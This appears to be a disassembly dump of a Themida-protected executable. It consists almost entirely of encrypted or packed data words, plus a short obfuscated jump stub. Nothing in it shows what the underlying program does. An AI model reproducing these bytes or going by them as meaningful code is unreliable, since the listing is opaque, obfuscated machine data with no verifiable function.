		dd 30109EA8h, 0BE2F8CEDh, 109EA864h, 0A1E0E82Dh, 109EA3FFh
		dd 0C01E2E7Fh, 0BE1D6980h, 0A2F26CA1h, 5ABB109Eh, 9C104592h
		dd 99168900h, 0E6735774h, 0DB6A506Eh, 0C9BA0479h, 44E3800Ch
		dd 13809h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h
		dd 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh, 476949FFh
		dd 6B7856F6h, 2495F164h, 4B5E16B7h, 4FE0C217h, 4895B701h
		dd 7456FA49h, 0BBDA6BE1h, 83D2FDDAh, 8E168197h,	0F52D0F06h
		dd 7F1EC1C0h, 0F0416775h, 19587F5Ch, 0E915FB48h, 83DDFBC5h
		dd 51E06CBDh, 52005072h, 57F5488Ah, 54323777h, 0FB130677h
		dd 49CC168Eh, 5BF9486Ah, 648A087Bh, 73C60A8Ah, 6570EA1Bh
		dd 0D4390A8Ah, 0A63315B5h, 0A2C29FAEh, 20000000h, 0DB0ABEA3h
		dd 109DB57Fh, 7A4C548h,	84DAE7D6h, 0A4B5D816h, 9D3D0FA2h
		dd 0CD5F2ABBh, 64E7EC7Dh, 1BA3A834h, 1A2B4A2Bh,	8CC8153Dh
		dd 0F5945CBDh, 209EBD04h, 25BACB60h, 0CFF34223h, 3F80D181h
		dd 7CCFB653h, 7CCD85F6h, 7DD0F2D0h, 0B5C7ECFh, 80D2F445h
		dd 2D607FCEh, 0D45A25B1h, 27B71B7Ah, 4CFFBC61h,	4C2DF39Dh
		dd 54E5A7FDh, 0E1B9379Bh, 442583B1h, 44644B70h,	1930BCD9h
		dd 3FBC569Eh, 6B20B298h, 451475DDh, 87DAFCC4h, 72C3E5C5h
		dd 88D5FDDAh, 0D41C7DCCh, 33815h, 7B960000h, 0E571BDE1h
		dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
		dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0F3682215h, 89000062h
		dd 0B9512424h, 4, 4244C01h, 0E0895059h,	405h, 4E88300h
		dd 5C240487h, 68240C89h, 5194h,	52241C89h, 3748D968h, 554A5A1Ah
		dd 0E224DFBDh, 5DEA01EBh, 545AD189h, 83241C8Bh,	0EC8104C4h
		dd 4, 8F240C89h, 34FF0843h, 0C4815B24h,	4, 52240C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 25E95C24h, 18FFFA0Fh
		db 49h,	96h, 0BFh
; ---------------------------------------------------------------------------


loc_5E350B:				; CODE XREF: Themida_:loc_5E305Ej
		mov	eax, 61971C4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 8F26C9h, 5DA36D99h, 1EEE3054h, 3DCE78CDh, 4B355DDDh
		dd 0E2AD262h, 20756877h, 5645D8E6h, 4CFD250Eh, 1E03C86Bh
		dd 70494BD1h, 7618303Ch, 14751F72h, 5D0C155Ah, 7C9DED9h
		dd 79CD7C58h, 3A6A1657h, 481F558Bh, 64B09E64h, 11E8h, 4FEF7F00h
		dd 6784F0BDh, 889AF3EEh, 0CC9CDEB0h, 0F0807DD7h, 0B8665F1Dh
		dd 0C7819667h, 5A4Ch, 80D38B60h, 0BB617EF5h, 165Ch, 0F8BF28Bh
		dd 81F18B66h, 1A1046C1h, 38D0F7Ch, 50000000h, 0E9815EF9h
		dd 4B2DCF84h, 5890Fh, 81660000h, 81CDE3DAh, 9A8EDC1h, 0BE90Ch
		dd 86F40000h, 8707AD9Ah, 0E51FE54Fh, 8B66512Fh,	60078FC7h
		dd 0FE9h, 47FF1D00h, 567EF4AEh,	0A55A762Fh, 0D05BC954h
		dd 3EF8361h, 0DE8h, 8A513300h, 0C936E454h, 8564C305h, 0B8668BA1h
		dd 4F5A34ADh, 6E9h, 0AF1F4F00h,	4BE60716h, 10850Fh, 0C78B0000h
		dd 28E9h, 98E1600h, 0E383F99Bh,	0BE94417h, 0DD000000h
		dd 246D881Dh, 9B3656A7h, 57E9530Ch, 0DFFFFFFFh,	28DB2A7Bh
		dd 4E1176C4h, 2C8D8D3Bh, 6A061974h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DEFFC356h
		dd 6D770F51h, 0F08B66C9h, 1BBD8D89h, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 9C2484C3h
		dd 24BF66F2h, 0DD85C7A4h, 0FC061318h, 8B000068h, 1331559Dh
		dd 5585C706h, 61330h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 8F50C350h, 3243EAADh
		dd 0FFF43020h, 13302DB5h, 6D858906h, 0FF061315h, 131D8995h
		dd 719D8B06h, 6A061311h, 0A995FF00h, 8B06130Dh,	0A27FEBC0h
		dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h
		dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h,	4E6F6FF6h
		dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h,	574D4182h
		dd 90F607A6h, 50D5E21h,	0E125F34Fh, 966C438Ch, 0BD939A44h
		dd 15D35AECh, 3488BCBh,	43484B73h, 24122B48h, 528ABF52h
		dd 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh,	2229982Ah
		dd 9C7E224h, 8D8D0CB2h,	6197557h, 11D59D8Bh, 8D890613h
		dd 6131BBDh, 0C7F3B70Fh, 1318DD85h, 58D806h, 2D853100h
		dd 0C7061331h, 13305585h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 13E7D8F0h
		dd 76F2432Ah, 1011CE81h, 0EDB657C4h, 13D1B5FFh,	0B58B0613h
		dd 6130AA9h, 8995FFFCh,	6A06131Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4818C352h
		dd 0BCA309E6h, 6052F717h, 1EC58D89h, 89530613h,	1325CDBDh
		dd 6A5806h, 0DA995FFh, 0C08B0613h, 0FAA73AEBh, 7B32943Fh
		dd 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh,	0FD0D3A7h
		dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h,	4A4B0581h
		dd 8A6E6AFFh, 4787CF3Bh, 0DA006866h, 29E9h, 85C27F00h
		dd 4Fh,	8 dup(0)
		dd 0FBE90000h, 86000004h, 9AC01E38h, 82A80648h,	9CBE1C2Eh
		dd 83A5054Bh, 8DC01E36h, 58FC49A2h, 4A08587Ah, 57F1466Ch
		dd 4C005177h, 0B7A656Eh, 16B7298Fh, 0BD1D4158h,	6D51E06Ch
		dd 735774E0h, 0B9D869E1h, 1E04212Fh, 5675C48Eh,	9DB4AB27h
		dd 70117410h, 0B6D36668h, 0FB1A2B25h, 0A3123D9Ah, 0ABBE6107h
		dd 69AB2756h, 1174109Eh, 0D5F96870h, 99B50584h,	0D56569F8h
		dd 0FB77E879h, 6EED97Eh, 93A3FA91h, 1AABAD37h, 19AE9432h
		dd 0D3C53569h, 751459B2h, 0A5E07355h, 0EC2D3C18h, 0C09FBC8Dh
		dd 9DBBD14Dh, 717B9A10h, 0B081D15Fh, 489BBF9Ch,	8D03100h
		dd 785A0D7Eh, 0B8D968E6h, 1891E30h, 9DBC128Ch, 0DBBADB10h
		dd 0C884D5FBh, 0DA7AC7EBh, 23C20A8Bh, 0E28AFB24h, 17B2F176h
		dd 7D223DB8h, 99232DB7h, 9E13EB6Ah, 55E66410h, 41B56927h
		dd 64D1A3h, 0BD650000h,	2051E06Ch, 109DB4A4h, 0DC007919h
		dd 0A341EA1Ch, 6C4h, 0A3331700h, 0BDB721ABh, 6E50E16Dh
		dd 3020AFDCh, 0B081E021h, 0FD503D8Eh, 0B5025C91h, 4ACB109Dh
		dd 9AFB1A2Bh, 61DA18CBh, 0EA6499B6h, 0B3109DB4h, 0E9BD6D52h
		dd 97B83743h, 93BB0B4Dh, 0F5FF0B34h, 0BEC45D09h, 3B85E46Eh
		dd 0A2AA3B1Dh, 70BDA604h, 0E17155E4h, 9C36DC6Dh, 6EE6731Fh
		dd 0FB4B6F50h, 0F6478953h, 71C30756h, 0F34688D9h, 0D1C30859h
		dd 29E4BB8h, 103A8E30h,	3ACF3941h, 7308824Bh, 41229B49h
		dd 6243A3h, 0BD170000h,	7155E470h, 89DA6BDFh, 73C27009h
		dd 52DFC1E1h, 0C00F3302h, 6E98C190h, 0E8F1AFDDh, 0AF93A341h
		dd 6FD96E21h, 16DE3F0Eh, 4F8Fh,	70BDB300h, 547655E4h, 99F849FFh
		dd 0DBAAFD4Fh, 5D8BFC8Ah, 1F31C375h, 0CFAEEF7Eh, 0D577CAF0h
		dd 577B5C0Bh, 0BA0D35E2h, 0B69C2C8Eh, 7C5E66A7h, 0E94767EDh
		dd 50E16DBDh, 9DB4A021h, 791910h, 41EA1CDCh, 6C4A3h, 33170000h
		dd 0BA24ACA4h, 4346DDC2h, 142EBACEh, 14368ACCh,	0A85090B7h
		dd 26F3B0C0h, 0BA0B4F9Eh, 638DC392h, 0C71941E6h, 0AEC266BDh
		dd 80E18FE5h, 468850B1h, 84495F2h, 144D4969h, 31205572h
		dd 0E2168F72h, 1DB092A3h, 18A98F2Fh, 78D42534h,	0B10A8B70h
		dd 67FAA821h, 52E3C5E5h, 0AAF57234h, 751489C2h,	0A7E07456h
		dd 0E4253414h, 8B55B485h, 1F67FADCh, 3E8F7C78h,	0F9DE3F0Eh
		dd 0CEF043EAh, 0A0B1D07Ah, 27DB70DAh, 0EE66F396h, 0C5932F8Fh
		dd 6D5AAC73h, 130h, 0C8BEA3D1h,	0BC377AEBh, 4DD0168Eh
		dd 8D00DFFCh, 0A8AA611h, 90ACF5DAh, 3E55A064h, 0F243955Fh
		dd 3567C5Ah, 83D6F849h,	0F89278C9h, 0CE7ECF83h,	5EEBCFF0h
		dd 0A676EEF6h, 0E5AAD61h, 6Dh, 9BDDC234h, 1068134h, 0BFA814DCh
		dd 0F571E4C3h, 0FE6F629Bh, 0E33FCE9Fh, 0E5909E04h, 2CA6D7F8h
		dd 0F5909E05h, 4DBE4890h, 2B29B89Ah, 0C5F1FB1Ah, 0B995259Ah
		dd 0B786C215h, 65983756h, 0EF629BC9h, 0F15FF0D2h, 2A153290h
		dd 0D80D3417h, 109E9E7Eh, 0C0E1C647h, 93CE166Ch, 94h, 4CB183ACh
		dd 8AB87E6Bh, 92396DA5h, 0C20AD7C8h, 0C8BEA318h, 0A18F7AEBh
		dd 1578168Eh, 93F94B6h,	0FC2320BFh, 5045B1BBh, 14468EA1h
		dd 52B8BC1h, 0CC88D5B4h, 0EA6D9CADh, 2B0A8AB0h,	0D27CCEF4h
		dd 30A50283h, 0A8AAFD6h, 1C767E9Fh, 0EA62F39Fh,	0F195CCCCh
		dd 43CAF5D2h, 959D168h,	0AB0123A7h, 1CB1BE04h, 0A06E35D4h
		dd 8A0B1071h, 26B69CBBh, 0F4FC1D2Ch, 6CFD4FE2h,	0B385F678h
		dd 59212AEh, 1B9FBF6Eh,	0E7755D7Ah, 174616Bh, 0A57EE1Ah
		dd 0DA7856B7h, 280ABEA3h, 68A9B896h, 9DB49DF9h,	0D3646610h
		dd 5E7D1C7Dh, 84C1482Fh, 3A0E516h, 3F55B124h, 0FF1E0A84h
		dd 15476F5h, 0F4456B4Bh, 66074395h, 9866A6D7h, 3BB752E7h
		dd 8BC114BEh, 2381032Ch, 0F3420C9Eh, 0AB7F2D92h, 6D53814Bh
		dd 0E5BFAADCh, 1326C74Dh, 50DFE372h, 6223B63Ah,	7C1D77B9h
		dd 475F7EDh, 6EDE6F53h,	2436BEDFh, 3A1BBB91h, 7E268615h
		dd 0E3EDB9F1h, 0CFEC60F1h, 67F65EEBh, 124F9E26h, 3, 0BDE17BB0h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 9368240Ch, 8900002Eh
		dd 8951240Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2434895Ch
		dd 1975C968h, 240C8B06h, 4C481h, 8B540000h, 0C4832434h
		dd 79646804h, 0C890000h, 8468F24h, 5E2434FFh, 4C481h, 0C8B0000h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 6A6E95Ch
		dd 0D943FFFAh, 111A3B97h, 46B8E06Ah, 306197Ah, 25E0FFC5h
		dd 66685EEh, 7B09F88Eh,	637508F0h, 5935DCA9h, 853583DBh
		dd 41EA921h, 28157CACh,	0A75AB7EDh, 1A345316h, 657932D4h
		dd 0B016422h, 0D4B5243h, 7056BF77h, 82435F30h, 4075320Bh
		dd 0DC7A683Fh, 91451625h, 0E61B41DCh, 7004D2AAh, 25216E5Bh
		dd 803629ACh, 0C02E2F08h, 0BC43C779h, 267BCC5h,	0C64DA7EFh
		dd 10105039h, 0AE35C4DBh, 0EF443FC7h, 5372156Ch, 5DB160A0h
		dd 0AEB0BB59h, 57493256h, 0ABB36B56h, 0D4383D36h, 16B13256h
		dd 2C9CC237h, 51316C54h, 5DB15391h, 0AEB135BFh,	2C275F56h
		dd 2AB4A505h, 0DA483256h, 0EAB138DDh, 0F3BE5256h, 0BAB13256h
		dd 5DD020E0h, 23BEC756h, 57B1325Eh, 0ABB3B259h,	0B4D13256h
		dd 2D13256h, 75B1325Fh,	5259572Fh, 921CA043h, 0FDEFCEEFh
		dd 5163C6ECh, 0ABD06C03h, 0D5BEDB56h, 0ED83256h, 3A532EA3h
		dd 0CE40D540h, 0B5C8D3BEh, 0F3E165DAh, 57B13256h, 297766EAh
		dd 0D55ED310h, 0DF3BCA56h, 75B13209h, 40F92E56h, 0FE33172Ch
		dd 3B538039h, 0C7CA023h, 53B13282h, 29B132A3h, 69BE3256h
		dd 75B1325Fh, 4D05236h,	25BD9BCCh, 47B13237h, 57B13245h
		dd 0CF59B36Ah, 3EDB18DEh, 8C000275h, 0F49FF974h, 0BA3F7DBCh
		dd 5DB1C756h, 0AEBDDB36h, 96B43256h, 0C2D1E9h, 8172873Bh
		dd 231AEE9h, 75B15334h,	0BAB0B959h, 5D493256h, 26BECE56h
		dd 57B13277h, 0ABA5DB36h, 78103256h, 0DAF47E8Ah, 8DB567F5h
		dd 0A56CEAC0h, 0A2D2933Bh, 5930871Bh, 793EE88Fh, 42B13237h
		dd 0D5B13245h, 47127A7Dh, 0EE6B45E0h, 4F79C606h, 0E5FC9A4Eh
		dd 0AEF22198h, 40303D56h, 42B13256h, 0D5B13244h, 0CBFFE551h
		dd 4775167Ah, 27F1FB1Dh, 0C4298848h, 0AEB165E3h, 52363D36h
		dd 0CDB13256h, 9172DBD7h, 0EAA1BD59h, 7E583256h, 9FB13256h
		dd 0BC9D3EB0h, 5D581343h, 57D01149h, 0A5383D56h, 3CB13256h
		dd 0EAB1325Fh, 589BAF22h, 1B93633h, 5C333D2Ch, 52B13256h
		dd 5E583256h, 5B13256h,	6D34771Dh, 6DFAB280h, 75443256h
		dd 0BB393D56h, 0A4B13256h, 0A1D13256h, 0D3BEF5E1h, 0ABB13256h
		dd 0D2303D37h, 0E5B13256h, 75B133D5h, 0BAB1CB56h, 5DBBB759h
		dd 0AB583256h, 2AB13256h, 0C6214094h, 0C7583256h, 0D3B13256h
		dd 67AFB7EDh, 668D492Fh, 0CDB4F61Bh, 28271CD0h,	0BEB13212h
		dd 0ABB13253h, 894FEEE1h, 60BE5213h, 75B13250h,	39B6FDD7h
		dd 4D591C60h, 10B13256h, 0D1C9F44Ch, 9781F10h, 261D8F85h
		dd 8CCB88A6h, 2D6DE3D7h, 0BAB15308h, 5DB123BFh,	28E61F56h
		dd 1F31EF1Dh, 0E7D67028h, 8616E530h, 0E5583E55h, 28B13256h
		dd 68CCB24Eh, 2C45A53Ah, 0F3E4404Fh, 57B1273Fh,	0ABB130AAh
		dd 0D5A8B456h, 0FE583256h, 0E2B13256h, 0D90A1DC7h
		dd 0C28D1E4Fh, 489EB495h, 0EC5ED960h, 0ABEFB275h, 0D269CA56h
		dd 0EAB23253h, 75A13251h, 0BA9C327Fh, 0ED0333Eh, 520EC603h
		dd 2BFAE52Ch, 0A4DC8541h, 0D5B139DFh, 0EAB7DB56h, 6E7B3256h
		dd 0E29DD24h, 0DDBE3256h, 0AEB1325Eh, 57B3B759h, 0CAD13256h
		dd 3CD13256h, 0EAB1325Ch, 26970B08h, 0C93A96C6h, 4E1AE85h
		dd 0A1B13237h, 57B12BD0h, 0ABA5DB56h, 70DF3256h, 57CCDF76h
		dd 49BCAD70h, 11C8B8h, 0A551825Ch, 19D16D94h, 843B8CFBh
		dd 0ABD060C4h, 0D5B1CA56h, 16B132AAh, 77E63256h, 0BAB13257h
		dd 0B4B132A3h, 0AEB13258h, 61A577AEh, 8D5BBC6Fh, 0C44F9958h
		dd 0EAB1EFD0h, 75BE3001h, 0B0583256h, 0E1B13256h, 4DC6C57h
		dd 0AB0184FAh, 0CBB132A3h, 0D5B134BFh, 87A6B056h, 8D12373Fh
		dd 0DCD1A237h, 0E9FB11EFh, 47E15333h, 57B1325Bh, 4FC64447h
		dd 85A2301Bh, 96DE7C1Fh, 7405A253h, 0EAE96837h,	3DD16006h
		dd 0AEBBDA37h, 9C2B3256h, 0CD7F3FEh, 9643CF02h,	0DBBE5308h
		dd 14D16006h, 0B1580359h, 0CAB13256h, 9D135FD2h, 0D85F5BA6h
		dd 0F3EB174Ah, 59216A0Ch, 926AD883h, 51068407h,	27E270DBh
		dd 3C6FB930h, 0A28E32C6h, 0AFEA5803h, 0F860487h, 0C562F05Bh
		dd 0D69E3C5Fh, 10275393h, 22CD96Ch, 7C821191h, 47B1B937h
		dd 57B1325Eh, 146F2B36h, 0E5BE7DAh, 0EE9576DFh,	6758AE36h
		dd 0F8B13256h, 0D338A205h, 34F48EF9h, 31709A9Dh, 594C66F1h
		dd 0D5BFDB15h, 758F3256h, 0CEFB87BAh, 2DA7038Eh, 6E135FD2h
		dd 0BD58AECBh, 0D8B13256h, 4B174Ah, 5277935Eh, 0C9E3EFE2h
		dd 0A2FEB76h, 6230A71Ah, 0A56276Eh, 0AEB134BFh,	0B3C64456h
		dd 36A2301Bh, 274C6A37h, 0D448F215h, 3F04DEC9h,	3C806AEDh
		dd 0DCD13256h, 7E5E8581h, 57B8DA2Ah, 6AC73256h,	0C7FB16DCh
		dd 334E99Bh, 75B1325Bh,	0F886EFD6h, 0ABC92470h,	8B575E25h
		dd 57D06930h, 0ABB1CE56h, 0D5BDB959h, 65BE3256h, 75B13250h
		dd 0BAB1B859h, 5DB13256h, 47B132AEh, 57B13242h,	3E3BDB9h
		dd 889BDF71h, 23ADF88Eh, 0E00A1B25h, 65F3F442h,	52B132A3h
		dd 0AEB133DBh, 57B1CA56h, 0CBB132AEh, 0D5BCB259h, 0E2583256h
		dd 9FB13256h, 0EC1EED5Fh, 3CECDEB8h, 0AEA2BD59h, 59583256h
		dd 0D8B13256h, 659EF2DFh, 0FCD125C9h, 0B2116F94h, 0B5B13281h
		dd 5DB138DAh, 5B315256h, 0A4305403h, 0ABD0D41Fh, 2B3A5256h
		dd 8AD0E2DDh, 75D0F5DCh, 0BAB1CE56h, 5DBBB459h,	0AB583256h
		dd 67B13256h, 6D1C0142h, 5DBE3256h, 0EAB13257h,	89B132AFh
		dd 0BF583256h, 0FB13256h, 0A3851F85h, 58583256h, 9BB13256h
		dd 0F2B06548h, 971CFA6Ah, 4042EDABh, 0BA44B3F1h, 2E35256h
		dd 0B2A6DDD7h, 57D0748Ah, 20D75256h, 297CB29Eh,	16B13237h
		dd 7C583256h, 0DB13256h, 0BD33E206h, 9E99B5CCh,	574D3256h
		dd 0ABB1CA56h, 0D5B13BBFh, 33A7CB56h, 3E5FFDFAh, 0BAB10F53h
		dd 5D353D36h, 2EB13256h, 57D09483h, 5B3A5256h, 0DAD0F3DCh
		dd 0EAB133D3h, 75B1CA56h, 0BAB126BFh, 0B1425A56h, 85185266h
		dd 0F375D4BBh, 163BB259h, 30A99A4Bh, 0E5B13264h, 75B127D3h
		dd 0BAA1DB56h, 0F6BA3256h, 37686F53h, 0B8EED512h, 0DC1E94F9h
		dd 0D5B167DBh, 13B132A3h, 0FEBE3256h, 0BAB13257h, 52B132AFh
		dd 0AEB133D3h, 57B1CE56h, 0B8585236h, 9AB13256h, 9B49BF4h
		dd 0CE34F467h, 0DC48F617h, 240B0B2Ch, 23BEB8C5h, 57B13256h
		dd 55063D37h, 0DAB13237h, 0EAB13EDAh, 73303D56h, 0B5B13256h
		dd 5DB132DDh, 47B13256h, 57B13244h, 4F5BA681h, 0DE4DCC2Ah
		dd 0D0F371ECh, 8964AA90h, 0BAB193FEh, 0DC72B936h, 28CCAB81h
		dd 57B1536Ah, 0CA6FB836h, 0C6583256h, 5B13256h,	3A37D1B2h
		dd 18582C3Ch, 6FF6D165h, 29F50B0Ah, 57B19074h, 0CBB132AAh
		dd 0CCC68930h, 8B66B930h, 75BDB659h, 0BD583256h, 0DAB13256h
		dd 3E00E0D6h, 57B1E8C4h, 0C847B236h, 0DAEB6336h, 0EAB132DEh
		dd 75D05356h, 0BABEDB56h, 0D9E53256h, 7836CA9Dh, 185AE473h
		dd 0C1967DAFh, 0D5BDDBF0h, 71743256h, 71B813E3h, 5E3654EAh
		dd 5DB1A36Dh, 1E63B236h, 36618559h, 53B132AEh, 0D5443256h
		dd 0EAB8DB56h, 31F23256h, 0BCAC89A7h, 5D8F2F75h, 0AEB1CA56h
		dd 57B8B059h, 11D13256h, 0A73A2947h, 0EAD05336h, 75A3DB56h
		dd 62193256h, 81599BF9h, 556EC7EFh, 73BE3A8Eh, 312E72Fh
		dd 0D5443256h, 0ED353D56h, 7AB13256h, 0BAB133D9h, 5DB1CE56h
		dd 5BB132AFh, 57443256h, 0ABB1CA56h, 0D5B8DB36h, 56FC3256h
		dd 0F392B3CFh, 0DB68B1D9h, 5DBFDB36h, 0ECCB3256h, 8975625Dh
		dd 84A4BD9Eh, 52B78BA9h, 0E9788930h, 89B13237h,	4FD13256h
		dd 9043FECh, 0AEB15332h, 89063D36h, 12D75237h, 0D5D0B891h
		dd 6A495256h, 75D09AB8h, 0BAB1C756h, 5DB9BD59h,	29BE3256h
		dd 57B13254h, 0ABB15336h, 0D5B13BBFh, 2C2C0A56h, 4F3B252Fh
		dd 0BAB16E28h, 0A4B132AEh, 22BE3256h, 57B13257h, 53B132AFh
		dd 0DA583256h, 30B13256h, 2E1E68F6h, 0E53DAF18h, 5379B5ACh
		dd 0AE497303h, 57A0DB56h, 248D3256h, 45ED498Fh,	6AD49381h
		dd 0D381B056h, 0BA937FCCh, 5DB1CE56h, 57B132AFh, 44583256h
		dd 18B13256h, 3F9B3A5Bh, 9D57EC6Ch, 6830795Ch, 3118B252h
		dd 5DB12A10h, 0AEB13EBFh, 972D0056h, 8EE79EEh, 809519ECh
		dd 8AB132C9h, 0F7FD62E9h, 4A063D5Eh, 52B13237h,	0AEB13FD9h
		dd 0A4305256h, 8A2988B7h, 5EE3BCEDh, 0EAB15341h, 75A6B459h
		dd 0A8583256h, 6FB13256h, 1350B6ECh, 46B8DF4h, 0CCEC0192h
		dd 6D0D0407h, 54D15251h, 718585D2h, 0BB303D37h,	0A5B13256h
		dd 0A1B13237h, 57B120DEh, 0ABBCDB56h, 50AC3256h, 0A9A12356h
		dd 0C7DDED86h, 0BAAA3567h, 5DB1CA56h, 0AEB139BFh, 26467E56h
		dd 0D2BE216Ch, 33606708h, 53D13256h, 55FF8A95h,	0BAB13DBFh
		dd 711F7D56h, 67139D3Dh, 4660949Fh, 0A1042801h,	0B5B13237h
		dd 6AEACB07h, 15D0279Ah, 53EECB00h, 5DB13259h, 0CC9CDBE5h
		dd 869EB571h, 0B91F6FAEh, 0B4F27CBFh, 0F8583256h, 0D2B13256h
		dd 89E362FFh, 4520A445h, 8F07FDD2h, 0BE23EB92h,	53B13298h
		dd 55D13256h, 0ED0EE984h, 14D07FD9h, 43493256h,	4E583256h
		dd 54B13256h, 0C187A9A6h, 0C8AE01C8h, 0A3371A8Bh, 0F801DE25h
		dd 75B10C9Dh, 0BAB13DBFh, 95853056h, 0B45482E3h, 0C48C904Dh
		dd 7825DC58h, 0D5483256h, 0E1353D56h, 15B13256h, 3BA8FDD6h
		dd 1696E7BEh, 0AEB15338h, 57BDBA59h, 2ABE3256h,	0D5B13250h
		dd 0EAB1B959h, 75B13256h, 0BAA1DA36h, 4C1D3256h, 5669F972h
		dd 4A6CC45Ch, 0C955FDEh, 8AE70400h, 8BD1620Dh, 13D1530Fh
		dd 0B150FCD7h, 5DB153AFh, 877DB236h, 0DDAD8930h, 42B13237h
		dd 0D5B13246h, 0D144CF15h, 531C7F6h, 2915AAE9h,	1FFAAF51h
		dd 0A6583256h, 0EEB13256h, 3C55D1F4h, 0D53A05CAh, 0FE585256h
		dd 2BB13256h, 0BDBFB8A5h, 9DA2B778h, 6FDC0D9Fh,	54727801h
		dd 5342B66Ah, 0B5B13237h, 0E5E7C7E3h, 75B132D1h, 0BAD06C56h
		dd 5DB1CA56h, 0CEB132AEh, 57B13EBEh, 2E34456h, 552AD8C3h
		dd 0EE8E58F0h, 75373D4Ch, 0E3B13256h, 27DE8B30h, 0A1B13237h
		dd 57B13ED8h, 0AD373D56h, 0DAB13256h, 0EAB132D4h, 9CB13256h
		dd 0BAB13244h, 92DC4768h, 41FDAC2Fh, 0A78E0484h, 0A386040h
		dd 0D5B11731h, 12063D36h, 0E4F68930h, 0BAB1CA37h, 5DB0B859h
		dd 0AE4D3256h, 453C3D56h, 0CBB13256h, 0D5B135BEh, 11C42656h
		dd 7206D3A8h, 6C0E3D09h
		dd 0A5B13237h, 2FD13256h, 724A629Fh, 9A0F542Ch,	0D5B1533Ah
		dd 0EAB9B759h, 0F8BE3256h, 0BAB13254h, 5DB15336h, 0AEB13ABFh
		dd 2D2EAF56h, 9095F35Eh, 2CB13287h, 6FBE3256h, 75B13272h
		dd 0BAB8DB36h, 0C0DE3256h, 83F2E935h, 0BF464D32h, 0ABB13258h
		dd 6EB40376h, 0DE63A797h, 19A2E34Eh, 0DBEEF0D0h, 5DB13EBFh
		dd 18427856h, 928DE03Bh, 6B14FC44h, 3CB1327Dh, 0EAB1325Ah
		dd 0C727C0F5h, 83E8EDF5h, 0D420DB49h, 0A7583256h, 0E2B13256h
		dd 39665982h, 0D8052E31h, 8CD13256h, 2EF0D4D7h,	0DAB13237h
		dd 9BF487EDh, 52D0CB48h, 47583256h, 76B13256h, 7D185DB6h
		dd 0EBB908B2h, 68E02EA4h, 0BAD25302h, 91315256h, 28BE6093h
		dd 57B13256h, 0ABB1530Eh, 0D5B7DB36h, 0C8F03256h, 6A2E1A5Ah
		dd 46B13237h, 5D483256h, 0AEA2DB56h, 0D4A23256h, 0C5FEF86Bh
		dd 60250A43h, 0FBD843B2h, 0E760DB09h, 0DAB13207h, 6962B330h
		dd 0A75863F6h, 0B13256h, 0A461E1F1h, 0B3B498AAh, 3D1530Ch
		dd 75B13247h, 0F0EB123h, 5125D3CBh, 0D552752Ch,	7844BB38h
		dd 59306389h, 0C5D15F85h, 0EAB1530Dh, 15B132AFh, 0BAB2B759h
		dd 0AC313256h, 0AEB1537Fh, 0DCD75236h, 43D0CB80h, 0D5B13250h
		dd 0C2D6A9Eh, 2F4D0883h, 53B13237h, 5DB1325Eh, 0A4AF1F3Bh
		dd 0EEBB6F6Ah, 0AC583256h, 0F0B13256h, 2A907ACh, 75B13A73h
		dd 0BABDB959h, 52D13256h, 0AEB132D1h, 12085456h, 0ABB153C0h
		dd 3305436h, 8B4D0EE6h,	0F5BE3256h, 0BAB1325Eh,	3B48B936h
		dd 0CF6B75EEh, 0D6D13256h, 56A0C8A0h, 2063D23h,	3B13237h
		dd 75B13251h, 0CB6D12B8h, 5DADC547h, 0AEA3DB56h, 47BF3256h
		dd 8B6E8670h, 52ACB0F1h, 404C2433h, 0EF79518Ah,	0BA493256h
		dd 5D44CE56h, 0AF393D56h, 0AFB13256h, 0AB493256h, 0D5B1CA56h
		dd 0EAB126BFh, 0C560A556h, 0AC2326D7h, 40FB839Ah, 97BB709h
		dd 87FFD6BAh, 0AD3A3DE6h, 0B5B13256h, 12498D59h, 8DB13237h
		dd 0BAB6B659h, 0DBBE3256h, 0AEB13257h, 0BEB132AAh, 0ABB1325Eh
		dd 6CEA5264h, 0BDAF02FCh, 9CB132AFh, 0BAB13251h, 14A75B0Ah
		dd 0AE21CF02h, 0D0BECA56h, 0ABB1325Ah, 0D5B7B159h, 64BE3256h
		dd 75B13256h, 0BD583256h, 0BEB13256h, 0EC047022h, 57B18D7Ah
		dd 0CBB132AAh, 0D5343D36h, 8CB13256h, 0CA77E2D7h, 0DBB88037h
		dd 5DB0B559h, 0AE4D3256h, 57BFDB56h, 5CF53256h,	3B1F530Fh
		dd 0FC1BDD22h, 0AFCDD202h, 0DBD13256h, 5DA7B859h, 0BF583256h
		dd 0B4B13256h, 0ADEF4AF8h, 0C9012478h, 0F7CCBFF9h, 96A8C2BEh
		dd 31D13256h, 3C7AB986h, 0AE4D3256h, 57B4DB56h,	0EBAA3256h
		dd 0D59B9AE9h, 0EAB1C756h, 75B135BFh, 2BFD5A56h, 0DFF5620h
		dd 0A0583256h, 33B13256h, 9A19DEFDh, 6BE5464Bh,	61E8837Bh
		dd 80B13240h, 0BA443256h, 5DB9DB56h, 3FFE3256h,	0E647D21h
